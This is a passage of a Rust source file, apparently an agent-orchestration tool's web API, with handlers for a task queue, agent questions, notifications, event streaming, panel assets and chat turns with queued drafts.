4536 return Err(ApiError::not_found(format!(
4537 "no runs recorded against repo `{repo}`"
4538 )));
4539 }
4540 stats::collect_refs(filtered)
4541 }
4542 None => stats::collect(&states),
4543 };
4544 let queue_counts = crate::queue::TaskCounts::of(&ui.queue.list());
4545 Ok(Json(StatsView {
4546 totals: StatsTotalsView::from(&collected.totals),
4547 agents: collected.agents.iter().map(AgentStatsView::from).collect(),
4548 reviewers: collected
4549 .reviewers
4550 .iter()
4551 .map(ReviewerStatsView::from)
4552 .collect(),
4553 advisors: collected
4554 .advisors
4555 .iter()
4556 .map(AdvisorStatsView::from)
4557 .collect(),
4558 e2e: E2eStatsView::from(&collected.e2e),
4559 release_bumps: ReleaseBumpStatsView::from(&collected.release_bumps),
4560 queue: TaskCountsView::from(queue_counts),
4561 runs_unreadable: runs_unreadable(&ui.runs),
4562 repos,
4563 repo: q.repo.clone(),
4564 }))
4565 })
4566 .await
4567}
4568
4569#[derive(Debug, Default, Deserialize)]
4572#[serde(default, deny_unknown_fields)]
4573struct HoldBody {
4574 reason: Option<String>,
4575}
4576
4577async fn queue_hold(
4578 State(ui): State<Arc<Ui>>,
4579 Path(id): Path<String>,
4580 body: std::result::Result<Json<HoldBody>, JsonRejection>,
4581) -> ApiResult<Json<TaskView>> {
4582 let body = match body {
4586 Ok(Json(body)) => body,
4587 Err(JsonRejection::MissingJsonContentType(_)) => HoldBody::default(),
4588 Err(e) => return Err(ApiError::bad_request(e.body_text())),
4589 };
4590 let reason = body.reason.filter(|r| !r.trim().is_empty());
4591 mutate(ui, id, move |t| {
4592 t.hold_manual(reason.clone());
4593 Ok(())
4594 })
4595 .await
4596}
4597
4598async fn queue_release(
4599 State(ui): State<Arc<Ui>>,
4600 Path(id): Path<String>,
4601) -> ApiResult<Json<TaskView>> {
4602 mutate(ui, id, |t| {
4603 t.release();
4604 Ok(())
4605 })
4606 .await
4607}
4608
4609#[derive(Debug, Deserialize)]
4611#[serde(deny_unknown_fields)]
4612struct PriorityBody {
4613 priority: i32,
4614}
4615
4616async fn queue_priority(
4622 State(ui): State<Arc<Ui>>,
4623 Path(id): Path<String>,
4624 body: std::result::Result<Json<PriorityBody>, JsonRejection>,
4625) -> ApiResult<Json<TaskView>> {
4626 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
4627 mutate(ui, id, move |t| t.set_priority(body.priority)).await
4628}
4629
4630#[derive(Debug, Deserialize)]
4632#[serde(deny_unknown_fields)]
4633struct EditBody {
4634 title: String,
4635 instruction: String,
4636 #[serde(default)]
4639 force: bool,
4640}
4641
4642async fn queue_edit(
4646 State(ui): State<Arc<Ui>>,
4647 Path(id): Path<String>,
4648 body: std::result::Result<Json<EditBody>, JsonRejection>,
4649) -> ApiResult<Json<TaskView>> {
4650 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
4651 let mut judged: Option<(String, PathBuf)> = None;
4655 if !body.force {
4656 let (queue, runs) = (ui.queue.clone(), ui.runs.clone());
4657 let (id, text) = (id.clone(), body.instruction.clone());
4658 let (seen, hits) = blocking(move || {
4659 let id = resolve_task(&queue, &id)?;
4660 let t = queue.get(&id)?;
4661 if text == t.instruction {
4662 return Ok((None, Vec::new()));
4663 }
4664 let hits = crate::dupes::check(&queue, &runs, &t.repo, &text, None, Some(&t.id));
4665 Ok((Some((t.instruction, t.repo)), hits))
4666 })
4667 .await?;
4668 if let Some((_, repo)) = &seen {
4669 let cfg = crate::config::Config::discover(repo, None)
4670 .ok()
4671 .map(|(c, _)| c);
4672 crate::dupes::screen_with_config(hits, &body.instruction, None, repo, cfg.as_ref())
4673 .await
4674 .map_err(|dup| {
4675 ApiError::conflict(dup.render(
4676 "Nothing was saved. If it is not a duplicate, repeat the request with \
4677 \"force\": true.",
4678 ))
4679 })?;
4680 }
4681 judged = seen;
4682 }
4683 let force = body.force;
4684 mutate(ui, id, move |t| {
4685 if !force && body.instruction != t.instruction {
4686 match &judged {
4687 Some((instruction, repo)) if *instruction == t.instruction && *repo == t.repo => {}
4688 _ => {
4689 anyhow::bail!("the task changed while it was being checked; repeat the request")
4690 }
4691 }
4692 }
4693 t.edit(body.title.clone(), body.instruction.clone())
4694 })
4695 .await
4696}
4697
4698async fn queue_done(
4706 State(ui): State<Arc<Ui>>,
4707 Path(id): Path<String>,
4708) -> ApiResult<Json<TaskView>> {
4709 let home = ui.home.clone();
4710 mutate(ui, id, move |t| {
4711 t.succeed();
4712 crate::daemon::supersede_prior_runs(t, &home);
4720 Ok(())
4721 })
4722 .await
4723}
4724
4725async fn queue_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
4733 blocking(move || {
4734 let id = resolve_task(&ui.queue, &id)?;
4735 let in_flight = crate::daemon::is_working_on_task(&ui.home, &id, jiff::Timestamp::now());
4736 ui.queue
4737 .remove(&id, in_flight, &ui.questions)
4738 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
4739 Ok(StatusCode::NO_CONTENT)
4740 })
4741 .await
4742}
4743
4744async fn mutate(
4753 ui: Arc<Ui>,
4754 id: String,
4755 change: impl FnOnce(&mut Task) -> Result<()> + Send + 'static,
4756) -> ApiResult<Json<TaskView>> {
4757 blocking(move || {
4758 let id = resolve_task(&ui.queue, &id)?;
4759 let _claim = ui.queue.claim(&id).map_err(|e| {
4764 ApiError::conflict(format!(
4765 "{e:#} - a daemon is running this task, so it cannot be \
4766 changed from here yet"
4767 ))
4768 })?;
4769 let mut task = ui.queue.get(&id)?;
4770 change(&mut task).map_err(|e| match e.downcast::<crate::dupes::Duplicate>() {
4771 Ok(dup) => ApiError::conflict(dup.render(
4772 "Nothing was saved. If it is not a duplicate, repeat the request with \
4773 \"force\": true.",
4774 )),
4775 Err(e) => ApiError::bad_request_from(e),
4776 })?;
4777 ui.queue.put(&mut task)?;
4778 Ok(Json(TaskView::from(task)))
4779 })
4780 .await
4781}
4782
4783async fn events(State(ui): State<Arc<Ui>>) -> impl IntoResponse {
4791 let (tx, rx) = tokio::sync::mpsc::channel::<Event>(4);
4792 tokio::spawn(async move {
4793 let mut ticker = tokio::time::interval(POLL);
4794 let mut last: Option<(u64, u64, u64, u64, u64, u64)> = None;
4795 loop {
4796 ticker.tick().await;
4799 let state = Arc::clone(&ui);
4800 let revisions = tokio::task::spawn_blocking(move || {
4801 (
4802 state.queue.revision(),
4803 runs_revision(&state.runs),
4804 state.questions.revision(),
4805 state.talks.revision(),
4806 state.notices.revision(),
4807 state.lock_loop().rev,
4811 )
4812 })
4813 .await;
4814 let Ok(revisions) = revisions else { break };
4815 if last == Some(revisions) {
4816 continue;
4817 }
4818 last = Some(revisions);
4819 let payload = serde_json::json!({
4820 "queue_rev": revisions.0,
4821 "runs_rev": revisions.1,
4822 "questions_rev": revisions.2,
4823 "talks_rev": revisions.3,
4824 "notifications_rev": revisions.4,
4825 "loop_rev": revisions.5,
4826 });
4827 let Ok(event) = Event::default().event("change").json_data(payload) else {
4829 break;
4830 };
4831 if tx.send(event).await.is_err() {
4832 break;
4833 }
4834 }
4835 });
4836 Sse::new(ReceiverStream::new(rx).map(Ok::<Event, Infallible>))
4837 .keep_alive(KeepAlive::new().interval(KEEPALIVE))
4838}
4839
4840fn runs_revision(runs: &FsPath) -> u64 {
4847 use std::hash::{Hash as _, Hasher as _};
4848
4849 let mut entries: Vec<(String, u64)> = std::fs::read_dir(runs)
4850 .into_iter()
4851 .flatten()
4852 .flatten()
4853 .filter_map(|e| {
4854 let path = e.path().join("run.json");
4855 let mtime = path
4856 .metadata()
4857 .ok()?
4858 .modified()
4859 .ok()?
4860 .duration_since(std::time::UNIX_EPOCH)
4861 .ok()?
4862 .as_millis() as u64;
4863 let id = e.file_name().to_string_lossy().into_owned();
4864 Some((id, mtime))
4865 })
4866 .collect();
4867
4868 if entries.is_empty() {
4869 return 0;
4870 }
4871
4872 entries.sort_unstable();
4873 let mut hasher = std::hash::DefaultHasher::new();
4874 for (id, mtime) in &entries {
4875 id.hash(&mut hasher);
4876 mtime.hash(&mut hasher);
4877 }
4878 let h = hasher.finish();
4879 if h == 0 { 1 } else { h }
4880}
4881
4882fn run_ids(runs: &FsPath) -> Vec<String> {
4888 let mut ids: Vec<String> = std::fs::read_dir(runs)
4889 .into_iter()
4890 .flatten()
4891 .flatten()
4892 .filter(|e| e.path().join("run.json").is_file())
4893 .map(|e| e.file_name().to_string_lossy().into_owned())
4894 .collect();
4895 ids.sort_unstable_by(|a, b| b.cmp(a));
4897 ids
4898}
4899
4900fn read_run(runs: &FsPath, id: &str) -> Result<RunState> {
4902 let path = runs.join(id).join("run.json");
4903 let body =
4904 std::fs::read_to_string(&path).with_context(|| format!("read {}", path.display()))?;
4905 let state: RunState =
4906 serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
4907 run::migrate_schema(state)
4912}
4913
4914#[must_use]
4922pub fn runs_unreadable(runs: &FsPath) -> usize {
4923 run_ids(runs)
4924 .into_iter()
4925 .filter(|id| read_run(runs, id).is_err())
4926 .count()
4927}
4928
4929fn resolve_run(runs: &FsPath, id: &str) -> ApiResult<String> {
4931 if runs.join(id).join("run.json").is_file() {
4932 return Ok(id.to_owned());
4933 }
4934 pick(run_ids(runs), id, "run")
4935}
4936
4937fn resolve_task(queue: &Queue, id: &str) -> ApiResult<String> {
4939 if queue.path_of(id).is_file() {
4940 return Ok(id.to_owned());
4941 }
4942 pick(queue.list().into_iter().map(|t| t.id).collect(), id, "task")
4943}
4944
4945#[derive(Debug, Serialize)]
4956struct QuestionView {
4957 #[serde(flatten)]
4958 question: Question,
4959 detail_md: Vec<md::Node>,
4960 thread_bodies_md: Vec<Vec<md::Node>>,
4962 waiting_on_agent: bool,
4972 holder: Option<&'static str>,
4976 deputies_enabled: bool,
4980}
4981
4982impl QuestionView {
4983 fn of(question: Question, store: &ask::Questions, deputies_enabled: bool) -> Self {
4987 let base = md::ImageBase::QuestionPanel {
4988 id: question.id.clone(),
4989 };
4990 let holder = holder_of(&question, store.read_lease(&question.id).as_ref());
4991 Self {
4992 detail_md: md::to_nodes(&question.detail, &base),
4993 thread_bodies_md: question
4994 .thread
4995 .iter()
4996 .map(|t| md::to_nodes(&t.body, &base))
4997 .collect(),
4998 waiting_on_agent: question.waiting_on_agent(),
4999 holder,
5000 deputies_enabled,
5001 question,
5002 }
5003 }
5004}
5005
5006fn deputies_enabled(repo: &std::path::Path, q: &Question) -> bool {
5008 let cfg = Config::discover(repo, None).ok().map(|(c, _)| c);
5009 crate::deputy::can_start(cfg.as_ref(), crate::deputy::agent_of(q))
5010}
5011
5012fn holder_of(q: &Question, lease: Option<&ask::Lease>) -> Option<&'static str> {
5022 if !q.status.open() {
5023 return None;
5024 }
5025 if q.cwd.is_none() && q.deputy.is_none() {
5026 return matches!(
5027 q.node.as_str(),
5028 crate::conduct::NODE | crate::land::APPROVAL_NODE
5029 )
5030 .then_some("nobody");
5031 }
5032 Some(match lease.filter(|l| l.fresh(jiff::Timestamp::now())) {
5033 Some(_) if q.deputy.is_some() => "deputy",
5034 Some(l) if l.kind == ask::WaiterKind::Daemon => "daemon",
5035 Some(_) => "asker",
5036 None => "nobody",
5037 })
5038}
5039
5040async fn questions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
5046 blocking(move || {
5047 Ok(Json(
5048 ui.questions
5049 .list()
5050 .into_iter()
5051 .map(|q| {
5052 let on = deputies_enabled(&ui.repo, &q);
5053 QuestionView::of(q, &ui.questions, on)
5054 })
5055 .collect(),
5056 ))
5057 })
5058 .await
5059}
5060
5061async fn notifications_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
5064 blocking(move || {
5065 let items = ui.notices.list();
5066 let unread = items.iter().filter(|n| n.unread()).count();
5067 Ok(Json(
5068 serde_json::json!({ "unread": unread, "items": items }),
5069 ))
5070 })
5071 .await
5072}
5073
5074fn notice_error(e: anyhow::Error) -> ApiError {
5075 ApiError::not_found(format!("{e:#}"))
5078}
5079
5080async fn notification_read(
5082 State(ui): State<Arc<Ui>>,
5083 Path(id): Path<String>,
5084) -> ApiResult<Json<Notice>> {
5085 blocking(move || ui.notices.mark_read(&id).map(Json).map_err(notice_error)).await
5086}
5087
5088async fn notification_dismiss(
5090 State(ui): State<Arc<Ui>>,
5091 Path(id): Path<String>,
5092) -> ApiResult<Json<Notice>> {
5093 blocking(move || ui.notices.dismiss(&id).map(Json).map_err(notice_error)).await
5094}
5095
5096async fn notifications_read_all(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
5098 blocking(move || {
5099 let changed = ui.notices.mark_all_read()?;
5100 Ok(Json(serde_json::json!({ "marked": changed })))
5101 })
5102 .await
5103}
5104
5105#[derive(Debug, Default, Deserialize)]
5111#[serde(default, deny_unknown_fields)]
5112struct NewAnswer {
5113 choice: Option<String>,
5114 text: Option<String>,
5115}
5116
5117async fn question_answer(
5118 State(ui): State<Arc<Ui>>,
5119 Path(id): Path<String>,
5120 body: std::result::Result<Json<NewAnswer>, axum::extract::rejection::JsonRejection>,
5121) -> ApiResult<Json<QuestionView>> {
5122 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5123 let answer = match (body.choice, body.text) {
5124 (Some(c), None) => Answer::Choice(c),
5125 (None, Some(t)) => Answer::Text(t),
5126 (Some(_), Some(_)) => {
5127 return Err(ApiError::bad_request(
5128 "send either `choice` or `text`, not both",
5129 ));
5130 }
5131 (None, None) => {
5132 return Err(ApiError::bad_request("send a `choice` or a `text`"));
5133 }
5134 };
5135
5136 blocking(move || {
5137 let id = resolve_question(&ui.questions, &id)?;
5138 let q = ui
5139 .questions
5140 .get(&id)
5141 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
5142 if !q.status.open() {
5143 return Err(ApiError::conflict(format!(
5147 "question {} is already {}",
5148 q.short(),
5149 q.status.as_str()
5150 )));
5151 }
5152 let (q, ()) = ui
5156 .questions
5157 .update(&q.id, |r| r.answer(answer))
5158 .map_err(ApiError::bad_request_from)?;
5159 let on = deputies_enabled(&ui.repo, &q);
5160 Ok(Json(QuestionView::of(q, &ui.questions, on)))
5161 })
5162 .await
5163}
5164
5165#[derive(Debug, Deserialize)]
5167#[serde(deny_unknown_fields)]
5168struct NewSay {
5169 body: String,
5170}
5171
5172async fn question_say(
5182 State(ui): State<Arc<Ui>>,
5183 Path(id): Path<String>,
5184 body: std::result::Result<Json<NewSay>, JsonRejection>,
5185) -> ApiResult<Json<QuestionView>> {
5186 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5187 blocking(move || {
5188 let id = resolve_question(&ui.questions, &id)?;
5189 let q = ui
5190 .questions
5191 .get(&id)
5192 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
5193 if !q.status.open() {
5194 return Err(ApiError::conflict(format!(
5198 "question {} is already {}",
5199 q.short(),
5200 q.status.as_str()
5201 )));
5202 }
5203 let (q, ()) = ui
5206 .questions
5207 .update(&q.id, |r| r.say(body.body))
5208 .map_err(ApiError::bad_request_from)?;
5209 let on = deputies_enabled(&ui.repo, &q);
5210 Ok(Json(QuestionView::of(q, &ui.questions, on)))
5211 })
5212 .await
5213}
5214
5215fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
5217 if store.path_of(id).is_file() {
5218 return Ok(id.to_owned());
5219 }
5220 pick(
5221 store.list().into_iter().map(|q| q.id).collect(),
5222 id,
5223 "question",
5224 )
5225}
5226
5227async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
5242 blocking(move || {
5243 let id = resolve_question(&ui.questions, &id)?;
5244 let Some(html) = ui.questions.panel_html(&id) else {
5245 return Err(ApiError::not_found(format!("question {id} has no panel")));
5246 };
5247 Ok(panel_response(
5248 "text/html; charset=utf-8",
5249 false,
5250 html.into_bytes(),
5251 ))
5252 })
5253 .await
5254}
5255
5256async fn question_asset(
5284 State(ui): State<Arc<Ui>>,
5285 Path((id, name)): Path<(String, String)>,
5286) -> ApiResult<Response> {
5287 if !crate::ask::valid_asset_name(&name) {
5290 return Err(ApiError::bad_request(format!(
5291 "`{name}` is not a usable asset name"
5292 )));
5293 }
5294 blocking(move || {
5295 let id = resolve_question(&ui.questions, &id)?;
5296 let asset = ui
5297 .questions
5298 .panel_asset(&id, &name)
5299 .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
5300 let Some(bytes) = asset else {
5301 return Err(ApiError::not_found(format!(
5302 "question {id} has no asset `{name}`"
5303 )));
5304 };
5305 Ok(panel_response(
5306 asset_content_type(&name),
5307 is_svg(&name),
5308 bytes,
5309 ))
5310 })
5311 .await
5312}
5313
5314fn asset_content_type(name: &str) -> &'static str {
5327 match extension(name).as_deref() {
5328 Some("png") => "image/png",
5329 Some("jpg" | "jpeg") => "image/jpeg",
5330 Some("gif") => "image/gif",
5331 Some("webp") => "image/webp",
5332 Some("svg") => "image/svg+xml",
5333 Some("css") => "text/css; charset=utf-8",
5334 Some("txt") => "text/plain; charset=utf-8",
5335 _ => "application/octet-stream",
5336 }
5337}
5338
5339fn is_svg(name: &str) -> bool {
5342 extension(name).as_deref() == Some("svg")
5343}
5344
5345fn extension(name: &str) -> Option<String> {
5347 name.rsplit_once('.')
5348 .map(|(_, ext)| ext.to_ascii_lowercase())
5349}
5350
5351fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
5368 let mut res = (
5369 [
5370 (header::CONTENT_TYPE, content_type),
5371 (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
5372 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
5373 (header::REFERRER_POLICY, "no-referrer"),
5374 ],
5375 body,
5376 )
5377 .into_response();
5378 if download {
5379 res.headers_mut().insert(
5380 header::CONTENT_DISPOSITION,
5381 HeaderValue::from_static("attachment"),
5382 );
5383 }
5384 res
5385}
5386
5387#[derive(Debug, Serialize)]
5393struct TalkView {
5394 #[serde(flatten)]
5395 talk: Talk,
5396 turn_bodies_md: Vec<Vec<md::Node>>,
5397 thinking: bool,
5405 context: talk::ContextUsage,
5409}
5410
5411impl TalkView {
5412 fn new(talk: Talk, thinking: bool) -> Self {
5415 let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
5416 Self::with_config(talk, thinking, cfg.as_ref())
5417 }
5418
5419 fn with_config(talk: Talk, thinking: bool, cfg: Option<&Config>) -> Self {
5422 let context = talk::context_usage(&talk, cfg);
5423 let turn_bodies_md = talk
5424 .turns
5425 .iter()
5426 .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
5427 .collect();
5428 Self {
5429 turn_bodies_md,
5430 thinking,
5431 context,
5432 talk,
5433 }
5434 }
5435}
5436
5437#[derive(Debug, Serialize)]
5442struct TalkDetailView {
5443 #[serde(flatten)]
5444 view: TalkView,
5445 tasks: Vec<TaskView>,
5446 roster: Vec<RosterEntry>,
5449}
5450
5451#[derive(Debug, Serialize)]
5453struct RosterEntry {
5454 id: String,
5455 kind: AgentKind,
5456 runnable: bool,
5458}
5459
5460async fn talks_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<TalkView>>> {
5465 blocking(move || {
5466 let mut configs: HashMap<PathBuf, Option<Config>> = HashMap::new();
5467 Ok(Json(
5468 ui.talks
5469 .list()
5470 .into_iter()
5471 .map(|talk| {
5472 let thinking = ui.is_thinking(&talk.id);
5473 let cfg = configs
5474 .entry(talk.repo.clone())
5475 .or_insert_with(|| Config::discover(&talk.repo, None).ok().map(|(c, _)| c));
5476 TalkView::with_config(talk, thinking, cfg.as_ref())
5477 })
5478 .collect(),
5479 ))
5480 })
5481 .await
5482}
5483
5484#[derive(Debug, Default, Deserialize)]
5489#[serde(default)]
5490struct NewTalk {
5491 agent: Option<String>,
5492 repo: Option<PathBuf>,
5493}
5494
5495async fn talk_post(
5498 State(ui): State<Arc<Ui>>,
5499 body: std::result::Result<Json<NewTalk>, JsonRejection>,
5500) -> ApiResult<impl IntoResponse> {
5501 let body = match body {
5505 Ok(Json(body)) => body,
5506 Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
5507 Err(e) => return Err(ApiError::bad_request(e.body_text())),
5508 };
5509 let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
5510 let cfg = config_for(&repo).await?;
5511 let view = blocking(move || {
5512 let talk = talk::begin(&ui.talks, &cfg, repo, body.agent.as_deref())?;
5513 let thinking = ui.is_thinking(&talk.id);
5514 Ok(TalkView::new(talk, thinking))
5515 })
5516 .await?;
5517 Ok((StatusCode::CREATED, Json(view)))
5518}
5519
5520async fn talk_detail(
5522 State(ui): State<Arc<Ui>>,
5523 Path(id): Path<String>,
5524) -> ApiResult<Json<TalkDetailView>> {
5525 blocking(move || {
5526 let id = resolve_talk(&ui.talks, &id)?;
5527 let talk = ui.talks.get(&id)?;
5528 let thinking = ui.is_thinking(&talk.id);
5529 let tasks = talk::tasks_of(&ui.queue, &talk.id)
5530 .into_iter()
5531 .map(TaskView::from)
5532 .collect();
5533 let roster = Config::discover(&talk.repo, None)
5534 .map(|(cfg, _)| {
5535 cfg.agents
5536 .iter()
5537 .map(|a| RosterEntry {
5538 id: a.id.clone(),
5539 kind: a.kind,
5540 runnable: agent::installed(a),
5541 })
5542 .collect()
5543 })
5544 .unwrap_or_default();
5545 Ok(Json(TalkDetailView {
5546 view: TalkView::new(talk, thinking),
5547 tasks,
5548 roster,
5549 }))
5550 })
5551 .await
5552}
5553
5554#[derive(Debug, Default, Deserialize)]
5560#[serde(default, deny_unknown_fields)]
5561struct NewTalkTurn {
5562 text: String,
5563 attachments: Vec<String>,
5564}
5565
5566#[derive(Debug, Deserialize)]
5567#[serde(deny_unknown_fields)]
5568struct EditTalkPending {
5569 text: String,
5570 expected_text: String,
5571 expected_attachments: Vec<String>,
5572}
5573
5574#[derive(Debug, Deserialize)]
5575#[serde(deny_unknown_fields)]
5576struct ClearTalkPending {
5577 expected_text: String,
5578 expected_attachments: Vec<String>,
5579}
5580
5581async fn talk_say(
5593 State(ui): State<Arc<Ui>>,
5594 Path(id): Path<String>,
5595 body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
5596) -> ApiResult<(StatusCode, Json<TalkView>)> {
5597 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5598 if body.text.trim().is_empty() && body.attachments.is_empty() {
5599 return Err(ApiError::bad_request("say something"));
5600 }
5601
5602 let id = {
5603 let ui = Arc::clone(&ui);
5604 let asked = id.clone();
5605 blocking(move || resolve_talk(&ui.talks, &asked)).await?
5606 };
5607 {
5611 let ui = Arc::clone(&ui);
5612 let id = id.clone();
5613 blocking(move || {
5614 let talk = ui.talks.get(&id)?;
5615 if !talk.status.open() {
5616 return Err(ApiError::conflict(format!(
5617 "talk {} is {} and takes no more turns",
5618 talk.short(),
5619 talk.status.as_str()
5620 )));
5621 }
5622 Ok(())
5623 })
5624 .await?;
5625 }
5626
5627 let attachments = {
5632 let ui = Arc::clone(&ui);
5633 let id = id.clone();
5634 let ids = body.attachments.clone();
5635 blocking(move || {
5636 ids.into_iter()
5637 .map(|att_id| {
5638 ui.talks.attachment_meta(&id, &att_id)?.ok_or_else(|| {
5639 ApiError::bad_request(format!("unknown attachment `{att_id}`"))
5640 })
5641 })
5642 .collect::<ApiResult<Vec<talk::Attachment>>>()
5643 })
5644 .await?
5645 };
5646
5647 let start = {
5652 let ui = Arc::clone(&ui);
5653 let id = id.clone();
5654 blocking(move || ui.begin_talk_turn_unless_pending(&id)).await?
5655 };
5656 let turn_guard = match start {
5657 TalkTurnStart::Claimed(turn_guard) => turn_guard,
5658 TalkTurnStart::Pending => {
5659 return Err(ApiError::conflict(
5660 "a queued draft is waiting; resume it, edit it, or clear it before sending another message",
5661 ));
5662 }
5663 TalkTurnStart::Busy => {
5664 let (tx, rx) = tokio::sync::oneshot::channel();
5680 tokio::spawn({
5681 let ui = Arc::clone(&ui);
5682 let id = id.clone();
5683 let said = body.text.clone();
5684 async move {
5685 let written = blocking({
5686 let ui = Arc::clone(&ui);
5687 let id = id.clone();
5688 move || {
5689 let mut talk = ui.talks.get(&id)?;
5690 #[cfg(test)]
5695 if let Some(gate) = ui
5696 .busy_queue_gate
5697 .lock()
5698 .unwrap_or_else(PoisonError::into_inner)
5699 .take()
5700 {
5701 let _ = gate.reached.send(());
5702 let _ = gate.release.recv();
5703 }
5704 if let Err(error) =
5705 talk::queue(&mut talk, &ui.talks, &said, attachments)
5706 {
5707 if let Ok(fresh) = ui.talks.get(&id) {
5708 if !fresh.status.open() {
5709 return Err(ApiError::conflict(format!(
5710 "talk {} is {} and takes no more turns",
5711 fresh.short(),
5712 fresh.status.as_str()
5713 )));
5714 }
5715 }
5716 return Err(ApiError::from(error));
5717 }
5718 let claim = match ui.begin_queued_talk_turn(&id)? {
5729 Some(turn_guard) => {
5730 let (cfg, _) = Config::discover(&talk.repo, None)?;
5731 Some((talk.clone(), cfg, turn_guard))
5732 }
5733 None => None,
5734 };
5735 let thinking = ui.is_thinking(&id);
5736 Ok((TalkView::new(talk, thinking), claim))
5737 }
5738 })
5739 .await;
5740 let (view, reclaimed) = match written {
5741 Ok(pair) => pair,
5742 Err(e) => {
5743 let _ = tx.send(Err(e));
5748 return;
5749 }
5750 };
5751 let _ = tx.send(Ok(view));
5754 if let Some((talk, cfg, turn_guard)) = reclaimed {
5755 let talks = ui.talks.clone();
5756 drain_loop(talk, talks, cfg, id, turn_guard).await;
5757 }
5758 }
5759 });
5760 let view = rx
5761 .await
5762 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
5763 return Ok((StatusCode::ACCEPTED, Json(view)));
5764 }
5765 };
5766
5767 let (talk, cfg) = {
5768 let ui = Arc::clone(&ui);
5769 let id = id.clone();
5770 blocking(move || {
5771 let talk = ui.talks.get(&id)?;
5772 let (cfg, _) = Config::discover(&talk.repo, None)?;
5773 Ok((talk, cfg))
5774 })
5775 .await?
5776 };
5777
5778 let talks = ui.talks.clone();
5779 let (tx, rx) = tokio::sync::oneshot::channel();
5794 tokio::spawn({
5795 let ui = Arc::clone(&ui);
5796 let talks = talks.clone();
5797 let id = id.clone();
5798 let said = body.text.clone();
5799 let mut talk = talk.clone();
5800 async move {
5801 let recorded = blocking({
5802 let talks = talks.clone();
5803 move || {
5804 if let Err(error) = talk::record(&mut talk, &talks, &said, attachments) {
5805 if let Ok(fresh) = talks.get(&talk.id) {
5806 if !fresh.status.open() {
5807 return Err(ApiError::conflict(format!(
5808 "talk {} is {} and takes no more turns",
5809 fresh.short(),
5810 fresh.status.as_str()
5811 )));
5812 }
5813 }
5814 return Err(ApiError::from(error));
5815 }
5816 Ok((said.trim().to_owned(), talk))
5822 }
5823 })
5824 .await;
5825 let (text, mut talk) = match recorded {
5826 Ok(pair) => pair,
5827 Err(e) => {
5828 let _ = tx.send(Err(e));
5832 return;
5833 }
5834 };
5835 let queued = talk.clone();
5836 let thinking = ui.is_thinking(&id);
5837 let _ = tx.send(Ok((queued, thinking)));
5840
5841 if let Err(e) = talk::respond(&mut talk, &talks, &cfg, &text).await {
5842 tracing::warn!("talk {id} turn failed: {e:#}");
5846 }
5847 drain_loop(talk, talks, cfg, id, turn_guard).await;
5850 }
5851 });
5852
5853 let (queued, thinking) = rx
5854 .await
5855 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
5856
5857 Ok((StatusCode::ACCEPTED, Json(TalkView::new(queued, thinking))))
5859}
5860
5861async fn talk_pending_resume(
5865 State(ui): State<Arc<Ui>>,
5866 Path(id): Path<String>,
5867) -> ApiResult<(StatusCode, Json<TalkView>)> {
5868 let id = {
5869 let ui = Arc::clone(&ui);
5870 let asked = id.clone();
5871 blocking(move || resolve_talk(&ui.talks, &asked)).await?
5872 };
5873 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
5874 return Err(ApiError::conflict(
5875 "a talk turn is already running; the queued draft will be handled by it",
5876 ));
5877 };
5878 let (talk, cfg) = {
5879 let ui = Arc::clone(&ui);
5880 let id = id.clone();
5881 blocking(move || {
5882 let talk = ui.talks.get(&id)?;
5883 if !talk.status.open() {
5884 return Err(ApiError::conflict(format!(
5885 "talk {} is {} and takes no more turns",
5886 talk.short(),
5887 talk.status.as_str()
5888 )));
5889 }
5890 if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
5891 return Err(ApiError::conflict("there is no queued draft to resume"));
5892 }
5893 let (cfg, _) = Config::discover(&talk.repo, None)?;
5894 Ok((talk, cfg))
5895 })
5896 .await?
5897 };
5898 let view = TalkView::new(talk.clone(), true);
5899 let talks = ui.talks.clone();
5900 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
5901 Ok((StatusCode::ACCEPTED, Json(view)))
5902}
5903
5904async fn drain_loop(mut talk: Talk, talks: Talks, cfg: Config, id: String, turn: TalkTurnGuard) {
5920 let live_set = Arc::clone(&turn.turns);
5921 let mut turn = Some(turn);
5929 loop {
5930 let observed = live_set
5934 .lock()
5935 .unwrap_or_else(PoisonError::into_inner)
5936 .queued
5937 .get(&id)
5938 .copied()
5939 .unwrap_or(0);
5940 let drained = blocking({
5941 let talks = talks.clone();
5942 move || {
5943 let result = talk::drain(&mut talk, &talks);
5944 Ok((talk, result))
5945 }
5946 })
5947 .await;
5948 let (next_talk, result) = match drained {
5949 Ok(drained) => drained,
5950 Err(e) => {
5951 tracing::warn!(
5952 status = %e.status,
5953 message = %e.message,
5954 "talk {id} could not start queued-text drain"
5955 );
5956 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
5957 turn.take()
5958 .expect("held for the whole loop until released here")
